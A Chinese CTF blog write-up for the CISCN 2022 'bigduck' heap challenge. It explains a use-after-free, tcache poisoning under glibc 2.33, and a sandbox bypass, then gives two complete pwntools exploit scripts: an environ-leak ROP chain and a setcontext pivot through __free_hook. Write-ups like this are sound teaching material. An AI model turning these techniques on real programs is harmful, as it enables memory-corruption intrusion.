sysNow's blog

堆利用environ泄露栈地址或setcontext控制执行流

2025-02-10
CTF
思路整理
最后更新:2025-02-24
12分钟
2398字

堆利用environ泄露栈地址或setcontext控制执行流([CISCN 2022 华东北]bigduck题解)

寒假集中刷堆题时看到这道题还挺典型的, 写wp以备忘

题目链接[CISCN 2022 华东北]bigduck

这道题在IDA中部分重命名后的部分结果为

main函数

1
void __fastcall __noreturn main(const char *a1, char **a2, char **a3)
2
{
3
int v3; // [rsp+Ch] [rbp-4h]
4
5
sandbox();
6
while ( 1 )
7
{
8
while ( 1 )
9
{
10
menu(a1, a2);
11
v3 = get_num();
12
if ( v3 != 4 )
13
break;
14
edit();
15
}
27 collapsed lines
16
if ( v3 > 4 )
17
{
18
LABEL_13:
19
a1 = "Invalid choice";
20
puts("Invalid choice");
21
}
22
else if ( v3 == 3 )
23
{
24
show();
25
}
26
else
27
{
28
if ( v3 > 3 )
29
goto LABEL_13;
30
if ( v3 == 1 )
31
{
32
add();
33
}
34
else
35
{
36
if ( v3 != 2 )
37
goto LABEL_13;
38
dele();
39
}
40
}
41
}
42
}

default

default

default

default

我们可以看到, 添加堆块时大小是固定为0x100的, free时没有清空list, 存在UAF

在wsl中, 查看所给的libc版本为2.33-0ubuntu5, 在glibc-all-in-one中下载此版本的glibc, 同时用patchelf更换pwn文件的运行库

default

default

glibc2.26后均已采用tcache机制, glibc2.31后tcache bin中的fd均被异或加密

同时这道题还存在沙箱机制, 禁用了execve函数, 需要ORW

default

我们从tcache机制可以知道, 同一个大小的tcache bin可以记录7个释放的堆块, 后续释放的同大小的堆块按大小分配会进入fast bin或者unsorted bin中, 在这道题中, 我们若先申请8个堆块, 则释放第八个堆块时可以进入unsorted bin, show此堆块可以泄露libc基地址, 同时show第一个释放的堆块时, 由于异化加密的机制, 我们可以泄露加密后的指针, 进而计算出heap基地址, 同时我们可以挟持tcache的管理堆块, 来实现任意地址读写的作用

  1. 通过tcache bin泄露heap基地址
  2. 通过unsorted bin泄露libc基地址
  3. 挟持tcache管理堆块
  4. 利用environ泄露栈地址后ROP / 利用setcontext控制执行流

思路一: 利用environ泄露栈地址后ROP

在linux C中, environ是一个全局变量, 储存着系统的环境信息, 它存储在libc中, 是沟通libc地址与栈地址的桥梁, 因此在泄露的libc基地址后, 我们可以通过泄露environ来拿到栈地址

default

通过栈地址, 我们可以计算出栈上函数的返回地址, 通过已达到的任意地址写, 在返回地址的区域构建ROP链以实现ORW

exp如下:

1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3
4
from pwncli import *
5
from LibcSearcher import *
6
from ctypes import *
7
8
# use script mode
9
cli_script()
10
11
# get use for obj from gift
12
io: tube = gift['io']
13
elf: ELF = gift['elf']
14
libc: ELF = gift['libc']
15
78 collapsed lines
16
leak = lambda name, address: log.info("{} ===> {}".format(name, hex(address)))
17
x64 = lambda msb: u64(ru(msb)[-6:].ljust(8,b'\x00'))
18
19
def cmd(i, prompt=b"Choice:"):
20
sla(prompt, i)
21
def add():
22
cmd(b"1")
23
# ......
24
def edit(idx,size,con):
25
cmd(b"4")
26
ru(b"Idx")
27
sl(str(idx).encode())
28
ru(b"Size")
29
sl(str(size).encode())
30
ru(b"Content")
31
sl(con)
32
# ......
33
def show(idx):
34
cmd(b"3")
35
ru(b"Idx")
36
sl(str(idx).encode())
37
# ......
38
def dele(idx):
39
cmd(b"2")
40
ru(b"Idx")
41
sl(str(idx).encode())
42
# ......
43
44
one = [0xde78c,0xde78f,0xde792]
45
46
for i in range(9):
47
add()
48
for i in range(6,-1,-1):
49
dele(i)
50
dele(7)
51
edit(7,1,b"\x11")
52
show(7)
53
libc_base = x64(b"\x7f")-0x1e0c11
54
system = libc_base+libc.sym["system"]
55
open_addr = libc_base+libc.sym["open"]
56
read_addr = libc_base+libc.sym["read"]
57
write_addr = libc_base+libc.sym["write"]
58
rdi = libc_base+0x028a55
59
rsi = libc_base+0x02a4cf
60
rdx = libc_base+0x0c7f32
61
ret = libc_base+0x026699
62
environ = libc_base+libc.sym["environ"]
63
leak("libc",libc_base)
64
edit(7,1,b"\x00")
65
66
show(6)
67
heap_base = u64(ru(b"\x05")[-5:].ljust(8,b'\x00'))<<12
68
leak("heap",heap_base)
69
edit_addr = heap_base+0x2a0
70
edit(0,8,p64((edit_addr>>12) ^ (heap_base+0x10)))
71
add()
72
add()
73
edit(10,256,p64(0)*3+p64(0x0005000000000000)+p64(0)*0x1b+p64(environ))
74
add()
75
show(11)
76
stack = x64(b"\x7f")
77
leak("stack",stack)
78
79
ret_addr = stack-0x120
80
edit(10,256,p64(0)*3+p64(0x0004000000000000)+p64(0)*0x1b+p64(ret_addr-0x18))
81
# pause()
82
add()
83
pause()
84
addr = heap_base
85
payload = p64(rdi)+p64(0)+p64(rsi)+p64(addr)+p64(rdx)+p64(6)+p64(read_addr)
86
payload += p64(rdi)+p64(addr)+p64(rsi)+p64(0)+p64(rdx)+p64(0)+p64(open_addr)
87
payload += p64(rdi)+p64(3)+p64(rsi)+p64(addr+8)+p64(rdx)+p64(100)+p64(read_addr)
88
payload += p64(rdi)+p64(1)+p64(rsi)+p64(addr+8)+p64(rdx)+p64(100)+p64(write_addr)
89
edit(12,0x100,b"A"*0x18+payload)
90
ru(b"Done")
91
sl(b"/flag\x00")
92
93
ia()

思路二: 利用setcontext控制执行流

原理讲解

setcontext 是 glibc 中设置寄存器上下文的一个函数, 有些题只能改一个 hook, 并不能随意控制执行流, 这时就可以用 setcontext 修改寄存器如 rip, rsp 等, 控制执行流.

不同版本的glibc的context实现不一样, 大致可以分成2.27及以下和2.28及以上

glibc 2.27的 setcontext 代码, 通过gdb反汇编如下:

1
Dump of assembler code for function setcontext:
2
0x00007ffff7a34050 <+0>: push rdi
3
0x00007ffff7a34051 <+1>: lea rsi,[rdi+0x128]
4
0x00007ffff7a34058 <+8>: xor edx,edx
5
0x00007ffff7a3405a <+10>: mov edi,0x2
6
0x00007ffff7a3405f <+15>: mov r10d,0x8
7
0x00007ffff7a34065 <+21>: mov eax,0xe
8
0x00007ffff7a3406a <+26>: syscall
9
0x00007ffff7a3406c <+28>: pop rdi
10
0x00007ffff7a3406d <+29>: cmp rax,0xfffffffffffff001
11
0x00007ffff7a34073 <+35>: jae 0x7ffff7a340d0 <setcontext+128>
12
0x00007ffff7a34075 <+37>: mov rcx,QWORD PTR [rdi+0xe0]
13
0x00007ffff7a3407c <+44>: fldenv [rcx]
14
0x00007ffff7a3407e <+46>: ldmxcsr DWORD PTR [rdi+0x1c0]
15
0x00007ffff7a34085 <+53>: mov rsp,QWORD PTR [rdi+0xa0]
22 collapsed lines
16
0x00007ffff7a3408c <+60>: mov rbx,QWORD PTR [rdi+0x80]
17
0x00007ffff7a34093 <+67>: mov rbp,QWORD PTR [rdi+0x78]
18
0x00007ffff7a34097 <+71>: mov r12,QWORD PTR [rdi+0x48]
19
0x00007ffff7a3409b <+75>: mov r13,QWORD PTR [rdi+0x50]
20
0x00007ffff7a3409f <+79>: mov r14,QWORD PTR [rdi+0x58]
21
0x00007ffff7a340a3 <+83>: mov r15,QWORD PTR [rdi+0x60]
22
0x00007ffff7a340a7 <+87>: mov rcx,QWORD PTR [rdi+0xa8]
23
0x00007ffff7a340ae <+94>: push rcx
24
0x00007ffff7a340af <+95>: mov rsi,QWORD PTR [rdi+0x70]
25
0x00007ffff7a340b3 <+99>: mov rdx,QWORD PTR [rdi+0x88]
26
0x00007ffff7a340ba <+106>: mov rcx,QWORD PTR [rdi+0x98]
27
0x00007ffff7a340c1 <+113>: mov r8,QWORD PTR [rdi+0x28]
28
0x00007ffff7a340c5 <+117>: mov r9,QWORD PTR [rdi+0x30]
29
0x00007ffff7a340c9 <+121>: mov rdi,QWORD PTR [rdi+0x68]
30
0x00007ffff7a340cd <+125>: xor eax,eax
31
0x00007ffff7a340cf <+127>: ret
32
0x00007ffff7a340d0 <+128>: mov rcx,QWORD PTR [rip+0x398d91] # 0x7ffff7dcce68
33
0x00007ffff7a340d7 <+135>: neg eax
34
0x00007ffff7a340d9 <+137>: mov DWORD PTR fs:[rcx],eax
35
0x00007ffff7a340dc <+140>: or rax,0xffffffffffffffff
36
0x00007ffff7a340e0 <+144>: ret
37
End of assembler dump.

glibc 2.28的 setcontext 代码, 通过gdb反汇编如下:

1
Dump of assembler code for function setcontext:
2
0x00007ffff7e340a0 <+0>: push rdi
3
0x00007ffff7e340a1 <+1>: lea rsi,[rdi+0x128]
4
0x00007ffff7e340a8 <+8>: xor edx,edx
5
0x00007ffff7e340aa <+10>: mov edi,0x2
6
0x00007ffff7e340af <+15>: mov r10d,0x8
7
0x00007ffff7e340b5 <+21>: mov eax,0xe
8
0x00007ffff7e340ba <+26>: syscall
9
0x00007ffff7e340bc <+28>: pop rdx
10
0x00007ffff7e340bd <+29>: cmp rax,0xfffffffffffff001
11
0x00007ffff7e340c3 <+35>: jae 0x7ffff7e34120 <setcontext+128>
12
0x00007ffff7e340c5 <+37>: mov rcx,QWORD PTR [rdx+0xe0]
13
0x00007ffff7e340cc <+44>: fldenv [rcx]
14
0x00007ffff7e340ce <+46>: ldmxcsr DWORD PTR [rdx+0x1c0]
15
0x00007ffff7e340d5 <+53>: mov rsp,QWORD PTR [rdx+0xa0]
22 collapsed lines
16
0x00007ffff7e340dc <+60>: mov rbx,QWORD PTR [rdx+0x80]
17
0x00007ffff7e340e3 <+67>: mov rbp,QWORD PTR [rdx+0x78]
18
0x00007ffff7e340e7 <+71>: mov r12,QWORD PTR [rdx+0x48]
19
0x00007ffff7e340eb <+75>: mov r13,QWORD PTR [rdx+0x50]
20
0x00007ffff7e340ef <+79>: mov r14,QWORD PTR [rdx+0x58]
21
0x00007ffff7e340f3 <+83>: mov r15,QWORD PTR [rdx+0x60]
22
0x00007ffff7e340f7 <+87>: mov rcx,QWORD PTR [rdx+0xa8]
23
0x00007ffff7e340fe <+94>: push rcx
24
0x00007ffff7e340ff <+95>: mov rsi,QWORD PTR [rdx+0x70]
25
0x00007ffff7e34103 <+99>: mov rdi,QWORD PTR [rdx+0x68]
26
0x00007ffff7e34107 <+103>: mov rcx,QWORD PTR [rdx+0x98]
27
0x00007ffff7e3410e <+110>: mov r8,QWORD PTR [rdx+0x28]
28
0x00007ffff7e34112 <+114>: mov r9,QWORD PTR [rdx+0x30]
29
0x00007ffff7e34116 <+118>: mov rdx,QWORD PTR [rdx+0x88]
30
0x00007ffff7e3411d <+125>: xor eax,eax
31
0x00007ffff7e3411f <+127>: ret
32
0x00007ffff7e34120 <+128>: mov rcx,QWORD PTR [rip+0x190d49] # 0x7ffff7fc4e70
33
0x00007ffff7e34127 <+135>: neg eax
34
0x00007ffff7e34129 <+137>: mov DWORD PTR fs:[rcx],eax
35
0x00007ffff7e3412c <+140>: or rax,0xffffffffffffffff
36
0x00007ffff7e34130 <+144>: ret
37
End of assembler dump.

我们可以看到, glibc 2.27从setcontext+53的位置开始就以rdi为参照给每个寄存器赋值, 但是glibc 2.28从setcontext+53的位置开始以rdx为参照给每个寄存器赋值, 由于一般来说我们控制rdi较为轻松, 因此在glibc 2.28及以上的版本利用setcontext控制程序执行流时需要想办法通过rdi控制rdx

这道题目的glibc版本为glibc 2.33, 来看一下这道题目的setcontext:

1
Dump of assembler code for function setcontext:
2
0x00007ffff7e27970 <+0>: endbr64
3
0x00007ffff7e27974 <+4>: push rdi
4
0x00007ffff7e27975 <+5>: lea rsi,[rdi+0x128]
5
0x00007ffff7e2797c <+12>: xor edx,edx
6
0x00007ffff7e2797e <+14>: mov edi,0x2
7
0x00007ffff7e27983 <+19>: mov r10d,0x8
8
0x00007ffff7e27989 <+25>: mov eax,0xe
9
0x00007ffff7e2798e <+30>: syscall
10
0x00007ffff7e27990 <+32>: pop rdx
11
0x00007ffff7e27991 <+33>: cmp rax,0xfffffffffffff001
12
0x00007ffff7e27997 <+39>: jae 0x7ffff7e27abf <setcontext+335>
13
0x00007ffff7e2799d <+45>: mov rcx,QWORD PTR [rdx+0xe0]
14
0x00007ffff7e279a4 <+52>: fldenv [rcx]
15
0x00007ffff7e279a6 <+54>: ldmxcsr DWORD PTR [rdx+0x1c0]
67 collapsed lines
16
0x00007ffff7e279ad <+61>: mov rsp,QWORD PTR [rdx+0xa0]
17
0x00007ffff7e279b4 <+68>: mov rbx,QWORD PTR [rdx+0x80]
18
0x00007ffff7e279bb <+75>: mov rbp,QWORD PTR [rdx+0x78]
19
0x00007ffff7e279bf <+79>: mov r12,QWORD PTR [rdx+0x48]
20
0x00007ffff7e279c3 <+83>: mov r13,QWORD PTR [rdx+0x50]
21
0x00007ffff7e279c7 <+87>: mov r14,QWORD PTR [rdx+0x58]
22
0x00007ffff7e279cb <+91>: mov r15,QWORD PTR [rdx+0x60]
23
0x00007ffff7e279cf <+95>: test DWORD PTR fs:0x48,0x2
24
0x00007ffff7e279db <+107>: je 0x7ffff7e27a96 <setcontext+294>
25
0x00007ffff7e279e1 <+113>: mov rsi,QWORD PTR [rdx+0x3a8]
26
0x00007ffff7e279e8 <+120>: mov rdi,rsi
27
0x00007ffff7e279eb <+123>: mov rcx,QWORD PTR [rdx+0x3b0]
28
0x00007ffff7e279f2 <+130>: cmp rcx,QWORD PTR fs:0x78
29
0x00007ffff7e279fb <+139>: je 0x7ffff7e27a35 <setcontext+197>
30
0x00007ffff7e279fd <+141>: mov rax,QWORD PTR [rsi-0x8]
31
0x00007ffff7e27a01 <+145>: and rax,0xfffffffffffffff8
32
0x00007ffff7e27a05 <+149>: cmp rax,rsi
33
0x00007ffff7e27a08 <+152>: je 0x7ffff7e27a10 <setcontext+160>
34
0x00007ffff7e27a0a <+154>: sub rsi,0x8
35
0x00007ffff7e27a0e <+158>: jmp 0x7ffff7e279fd <setcontext+141>
36
0x00007ffff7e27a10 <+160>: mov rax,0x1
37
0x00007ffff7e27a17 <+167>: incsspq rax
38
0x00007ffff7e27a1c <+172>: rstorssp QWORD PTR [rsi-0x8]
39
0x00007ffff7e27a21 <+177>: saveprevssp
40
0x00007ffff7e27a25 <+181>: mov rax,QWORD PTR [rdx+0x3b0]
41
0x00007ffff7e27a2c <+188>: mov QWORD PTR fs:0x78,rax
42
0x00007ffff7e27a35 <+197>: rdsspq rcx
43
0x00007ffff7e27a3a <+202>: sub rcx,rdi
44
0x00007ffff7e27a3d <+205>: je 0x7ffff7e27a5c <setcontext+236>
45
0x00007ffff7e27a3f <+207>: neg rcx
46
0x00007ffff7e27a42 <+210>: shr rcx,0x3
47
0x00007ffff7e27a46 <+214>: mov esi,0xff
48
0x00007ffff7e27a4b <+219>: cmp rcx,rsi
49
0x00007ffff7e27a4e <+222>: cmovb rsi,rcx
50
0x00007ffff7e27a52 <+226>: incsspq rsi
51
0x00007ffff7e27a57 <+231>: sub rcx,rsi
52
0x00007ffff7e27a5a <+234>: ja 0x7ffff7e27a4b <setcontext+219>
53
0x00007ffff7e27a5c <+236>: mov rsi,QWORD PTR [rdx+0x70]
54
0x00007ffff7e27a60 <+240>: mov rdi,QWORD PTR [rdx+0x68]
55
0x00007ffff7e27a64 <+244>: mov rcx,QWORD PTR [rdx+0x98]
56
0x00007ffff7e27a6b <+251>: mov r8,QWORD PTR [rdx+0x28]
57
0x00007ffff7e27a6f <+255>: mov r9,QWORD PTR [rdx+0x30]
58
0x00007ffff7e27a73 <+259>: mov r10,QWORD PTR [rdx+0xa8]
59
0x00007ffff7e27a7a <+266>: mov rdx,QWORD PTR [rdx+0x88]
60
0x00007ffff7e27a81 <+273>: rdsspq rax
61
0x00007ffff7e27a86 <+278>: cmp r10,QWORD PTR [rax]
62
0x00007ffff7e27a89 <+281>: mov eax,0x0
63
0x00007ffff7e27a8e <+286>: jne 0x7ffff7e27a93 <setcontext+291>
64
0x00007ffff7e27a90 <+288>: push r10
65
0x00007ffff7e27a92 <+290>: ret
66
0x00007ffff7e27a93 <+291>: jmp r10
67
0x00007ffff7e27a96 <+294>: mov rcx,QWORD PTR [rdx+0xa8]
68
0x00007ffff7e27a9d <+301>: push rcx
69
0x00007ffff7e27a9e <+302>: mov rsi,QWORD PTR [rdx+0x70]
70
0x00007ffff7e27aa2 <+306>: mov rdi,QWORD PTR [rdx+0x68]
71
0x00007ffff7e27aa6 <+310>: mov rcx,QWORD PTR [rdx+0x98]
72
0x00007ffff7e27aad <+317>: mov r8,QWORD PTR [rdx+0x28]
73
0x00007ffff7e27ab1 <+321>: mov r9,QWORD PTR [rdx+0x30]
74
0x00007ffff7e27ab5 <+325>: mov rdx,QWORD PTR [rdx+0x88]
75
0x00007ffff7e27abc <+332>: xor eax,eax
76
0x00007ffff7e27abe <+334>: ret
77
0x00007ffff7e27abf <+335>: mov rcx,QWORD PTR [rip+0x18d382] # 0x7ffff7fb4e48
78
0x00007ffff7e27ac6 <+342>: neg eax
79
0x00007ffff7e27ac8 <+344>: mov DWORD PTR fs:[rcx],eax
80
0x00007ffff7e27acb <+347>: or rax,0xffffffffffffffff
81
0x00007ffff7e27acf <+351>: ret
82
End of assembler dump.

如果我们可以返回到setcontext+61的位置, 且成功控制rdx及周边区域, 我们就可以控制各个寄存器的值, 同时我们可以发现, setcontext+107的跳转语句均成立, 因此程序真正的执行流如下, 其中mov rcx,QWORD PTR [rdx+0xa8] ; push rcx是设置rcx并将其值压入栈中, 最后由ret将这个值作为返回地址, 实际作用就是设置rip

1
0x00007ffff7e279ad <+61>: mov rsp,QWORD PTR [rdx+0xa0]
2
0x00007ffff7e279b4 <+68>: mov rbx,QWORD PTR [rdx+0x80]
3
0x00007ffff7e279bb <+75>: mov rbp,QWORD PTR [rdx+0x78]
4
0x00007ffff7e279bf <+79>: mov r12,QWORD PTR [rdx+0x48]
5
0x00007ffff7e279c3 <+83>: mov r13,QWORD PTR [rdx+0x50]
6
0x00007ffff7e279c7 <+87>: mov r14,QWORD PTR [rdx+0x58]
7
0x00007ffff7e279cb <+91>: mov r15,QWORD PTR [rdx+0x60]
8
0x00007ffff7e279cf <+95>: test DWORD PTR fs:0x48,0x2
9
0x00007ffff7e279db <+107>: je 0x7ffff7e27a96 <setcontext+294>
10
(跳转到setcontext+294)
11
0x00007ffff7e27a96 <+294>: mov rcx,QWORD PTR [rdx+0xa8]
12
0x00007ffff7e27a9d <+301>: push rcx
13
0x00007ffff7e27a9e <+302>: mov rsi,QWORD PTR [rdx+0x70]
14
0x00007ffff7e27aa2 <+306>: mov rdi,QWORD PTR [rdx+0x68]
15
0x00007ffff7e27aa6 <+310>: mov rcx,QWORD PTR [rdx+0x98]
5 collapsed lines
16
0x00007ffff7e27aad <+317>: mov r8,QWORD PTR [rdx+0x28]
17
0x00007ffff7e27ab1 <+321>: mov r9,QWORD PTR [rdx+0x30]
18
0x00007ffff7e27ab5 <+325>: mov rdx,QWORD PTR [rdx+0x88]
19
0x00007ffff7e27abc <+332>: xor eax,eax
20
0x00007ffff7e27abe <+334>: ret

在这道题中, 由于malloc的大小是恒定的, 其rdi不能由我们控制, 因此我们考虑利用free函数, 因为free函数的rdi是目标堆块的user data地址, 只要我们布置好堆块就能够利用

同时通过这个gadget我们可以通过rdi控制rdx, 并通过设置好的rdx调用setcontext+61

default

接下来会按照上一步输入的数据逐个设置寄存器的参数, 控制程序执行流, exp如下:

1
#!/usr/bin/python3
2
# -*- encoding: utf-8 -*-
3
4
from pwncli import *
5
from LibcSearcher import *
6
from ctypes import *
7
8
# use script mode
9
cli_script()
10
11
# get use for obj from gift
12
io: tube = gift['io']
13
elf: ELF = gift['elf']
14
libc: ELF = gift['libc']
15
77 collapsed lines
16
leak = lambda name, address: log.info("{} ===> {}".format(name, hex(address)))
17
x64 = lambda msb: u64(ru(msb)[-6:].ljust(8,b'\x00'))
18
19
def cmd(i, prompt=b"Choice:"):
20
sla(prompt, i)
21
def add():
22
cmd(b"1")
23
# ......
24
def edit(idx,size,con):
25
cmd(b"4")
26
ru(b"Idx")
27
sl(str(idx).encode())
28
ru(b"Size")
29
sl(str(size).encode())
30
ru(b"Content")
31
sl(con)
32
# ......
33
def show(idx):
34
cmd(b"3")
35
ru(b"Idx")
36
sl(str(idx).encode())
37
# ......
38
def dele(idx):
39
cmd(b"2")
40
ru(b"Idx")
41
sl(str(idx).encode())
42
# ......
43
44
one = [0xde78c,0xde78f,0xde792]
45
46
for i in range(9):
47
add()
48
for i in range(6,-1,-1):
49
dele(i)
50
dele(7)
51
edit(7,1,b"\x11")
52
show(7)
53
libc_base = x64(b"\x7f")-0x1e0c11
54
open_addr = libc_base+libc.sym["open"]
55
read_addr = libc_base+libc.sym["read"]
56
write_addr = libc_base+libc.sym["write"]
57
rdi = libc_base+0x028a55
58
rsi = libc_base+0x02a4cf
59
rdx = libc_base+0x0c7f32
60
ret = libc_base+0x026699
61
free_hook = libc_base + libc.sym["__free_hook"]
62
setcontext = libc_base + libc.sym["setcontext"]+61
63
# 0x000000000014a0a0 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
64
rdx_con = libc_base + 0x14a0a0
65
leak("libc",libc_base)
66
edit(7,1,b"\x00")
67
68
show(6)
69
heap_base = u64(ru(b"\x05")[-5:].ljust(8,b'\x00'))<<12
70
leak("heap",heap_base)
71
edit_addr = heap_base+0x2a0
72
edit(0,8,p64((edit_addr>>12) ^ (heap_base+0x10)))
73
add()
74
add()
75
edit(10,256,p64(0)*3+p64(0x0005000000000000)+p64(0)*0x1b+p64(free_hook))
76
add()
77
edit(11,0x100,p64(rdx_con))
78
79
edit(0,6,b"/flag\x00")
80
flag_addr = heap_base + 0x2a0
81
82
orw = p64(rdi)+p64(flag_addr)+p64(rsi)+p64(0)+p64(open_addr)
83
orw += p64(rdi)+p64(3)+p64(rsi)+p64(heap_base+0x2a8)+p64(rdx)+p64(100)+p64(read_addr)
84
orw += p64(rdi)+p64(1)+p64(rsi)+p64(heap_base+0x2a8)+p64(rdx)+p64(100)+p64(write_addr)
85
edit(2,0x100,orw)
86
87
payload = b"A"*8+p64(heap_base+0x3b8)+b"A"*0x18+p64(setcontext)+b"A"*0x78+p64(heap_base+0x4c0)+p64(ret)
88
edit(1,0x100,payload)
89
pause()
90
dele(1)
91
92
ia()
本文标题:堆利用environ泄露栈地址或setcontext控制执行流
文章作者:sysNow
发布时间:2025-02-10